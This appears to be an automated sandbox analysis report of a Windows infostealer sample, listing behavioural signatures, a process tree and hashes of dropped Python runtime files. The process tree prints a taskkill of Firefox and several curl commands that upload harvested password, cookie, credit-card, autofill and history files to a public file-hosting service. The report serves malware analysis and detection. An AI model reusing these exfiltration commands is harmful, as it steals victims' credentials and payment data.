Overview

overview

10

Static

static

10

2026-09-21...ar.exe

windows10-2004-x64

7

2026-09-21...ar.exe

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 13:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-21_59c9b598f07223001096296cc7268d6a_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 10.5MB
  • Sample260922-qaqv2atwat
  • SHA256 c494fd00195fb85f6a821f4c43e966263320e180b275f2eb06a00fdd45374e17
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
credential_accessdefense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 11 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-21_59c9b598f07223001096296cc7268d6a_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-21_59c9b598f07223001096296cc7268d6a_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Users\Admin\AppData\Local\Temp\2026-09-21_59c9b598f07223001096296cc7268d6a_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-21_59c9b598f07223001096296cc7268d6a_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
        • Executes a command shell one-liner
        PID:4336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1456
        • C:\Windows\system32\taskkill.exe
          taskkill /im firefox.exe /t /f
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTpasswords.txt" https://store4.gofile.io/uploadFile"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4220
        • C:\Windows\system32\curl.exe
          curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTpasswords.txt" https://store4.gofile.io/uploadFile
          4⤵
            PID:4908
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTcookies.txt" https://store4.gofile.io/uploadFile"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5904
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTcookies.txt" https://store4.gofile.io/uploadFile
            4⤵
              PID:1772
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTcreditcards.txt" https://store4.gofile.io/uploadFile"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2956
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTcreditcards.txt" https://store4.gofile.io/uploadFile
              4⤵
                PID:4900
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTautofill.txt" https://store4.gofile.io/uploadFile"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:984
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsTautofill.txt" https://store4.gofile.io/uploadFile
                4⤵
                  PID:6024
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsThistory.txt" https://store4.gofile.io/uploadFile"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:6064
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\TsThistory.txt" https://store4.gofile.io/uploadFile
                  4⤵
                    PID:1232

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  TempTsTjwdehrco.db
                  • Path C:\Users\Admin\AppData\Local\TempTsTjwdehrco.db
                  • Size 256KB
                  • SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  TempTsTkdgyvubv.db
                  • Path C:\Users\Admin\AppData\Local\TempTsTkdgyvubv.db
                  • Size 138KB
                  • SHA256 62a1153ee3b7629593315af19174502c354d12ebf135f23092bc3ea60ca5c760
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _raw_cbc.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Cipher\_raw_cbc.pyd
                  • Size 12KB
                  • SHA256 9d0a5c9813ad6ba129cafef815741636336eb9426ac4204de7bc0471f7b006e1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _raw_cfb.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Cipher\_raw_cfb.pyd
                  • Size 13KB
                  • SHA256 5ea310e0f85316c8981ed6293086a952fa91a6d12ca3f8af9581521ee2b15586
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _raw_ctr.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Cipher\_raw_ctr.pyd
                  • Size 14KB
                  • SHA256 4f74bcf6cc81bac37ea24cb1ef0b17f26b23edb77f605531857eaa7b07d6c8b2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _raw_ecb.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Cipher\_raw_ecb.pyd
                  • Size 10KB
                  • SHA256 6248fdf98f949d87d52232ddf61fada5ef02cd3e404bb222d7541a84a3b07b8a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _raw_ofb.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Cipher\_raw_ofb.pyd
                  • Size 12KB
                  • SHA256 13c34a25d10c42c6a12d214b2d027e5dc4ae7253b83f21fd70a091fedac1e049
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _BLAKE2s.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Hash\_BLAKE2s.pyd
                  • Size 14KB
                  • SHA256 1c340d2625dad4f07b88bb04a81d5002aabf429561c92399b0eb8f6a72432325
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _SHA1.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Hash\_SHA1.pyd
                  • Size 17KB
                  • SHA256 8970df77d2f73350360dbe68f937e0523689ff3d7c0be95eb7ca5820701f1493
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _SHA256.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Hash\_SHA256.pyd
                  • Size 21KB
                  • SHA256 44eed167431151e53a8f119466036f1d60773ddeb8350af972c82b3789d5d397
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _strxor.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\Crypto\Util\_strxor.pyd
                  • Size 10KB
                  • SHA256 af76a5b10678f477069add6e0428e48461fb634d9f35fb518f9f6a10415e12d6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  VCRUNTIME140.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\VCRUNTIME140.dll
                  • Size 94KB
                  • SHA256 e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _asyncio.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_asyncio.pyd
                  • Size 59KB
                  • SHA256 cf0edfd508d11bffb63d1b104b6099e0f14ea0fada762f88364e7163f2185f06
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _bz2.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_bz2.pyd
                  • Size 78KB
                  • SHA256 4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _cffi_backend.cp310-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_cffi_backend.cp310-win_amd64.pyd
                  • Size 177KB
                  • SHA256 52e5a0c3ca9b0d4fc67243bd8492f5c305ff1653e8d956a2a3d9d36af0a3e4fd
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _ctypes.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_ctypes.pyd
                  • Size 117KB
                  • SHA256 35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _decimal.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_decimal.pyd
                  • Size 241KB
                  • SHA256 384993b2b8cfcbf155e63f0ee2383a9f9483de92ab73736ff84590a0c4ca2690
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _hashlib.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_hashlib.pyd
                  • Size 57KB
                  • SHA256 50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _lzma.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_lzma.pyd
                  • Size 149KB
                  • SHA256 f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _multiprocessing.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_multiprocessing.pyd
                  • Size 29KB
                  • SHA256 000486aaac9dd21e88b3dc65fd854dd83519b1fbcc224a70530bc3ec8cbd1a5d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _overlapped.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_overlapped.pyd
                  • Size 44KB
                  • SHA256 fe5666c1c8215cd2773744c815fb4a3b2f52f64cf0dde25d458441da22bf5568
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _queue.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_queue.pyd
                  • Size 26KB
                  • SHA256 9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _socket.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_socket.pyd
                  • Size 72KB
                  • SHA256 3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _sqlite3.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_sqlite3.pyd
                  • Size 91KB
                  • SHA256 728d21be4d47dd664caf9fa60c1369fe059bc0498edd383b27491d0dee23e439
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _ssl.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_ssl.pyd
                  • Size 152KB
                  • SHA256 bf63f44951f14c9d0c890415d013276498d6d59e53811bbe2fa16825710bea14
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _uuid.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\_uuid.pyd
                  • Size 20KB
                  • SHA256 c74aaeec487457139b47c0ab56e01922bfae6debef562800e5b9b6baf1ec9d6a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  base_library.zip
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\base_library.zip
                  • Size 858KB
                  • SHA256 8c67cb5c0249db9208c0dd8cbb209867bc03791c6049ad2b085ecaff0f906818
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libcrypto-1_1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\libcrypto-1_1.dll
                  • Size 3.3MB
                  • SHA256 664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libffi-7.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\libffi-7.dll
                  • Size 32KB
                  • SHA256 f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libssl-1_1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\libssl-1_1.dll
                  • Size 678KB
                  • SHA256 b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  pyexpat.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\pyexpat.pyd
                  • Size 187KB
                  • SHA256 e2146bed9720eb94388532551444f434d3195310fa7bd117253e7df81a8e187e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  python310.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\python310.dll
                  • Size 4.2MB
                  • SHA256 f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  select.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\select.pyd
                  • Size 25KB
                  • SHA256 f1694ce82da997faa89a9d22d469bfc94abb0f2063a69ec9b953bc085c2cb823
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sqlite3.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\sqlite3.dll
                  • Size 1.4MB
                  • SHA256 831ba87cb1a91d4581f0abbcc4966c6f4b332536f70cf481f609c44cc3d987c2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  unicodedata.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI25242\unicodedata.pyd
                  • Size 1.1MB
                  • SHA256 9b22d93f4db077a70a1d85ffc503980903f1a88e262068dd79c6190ec7a31b08
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download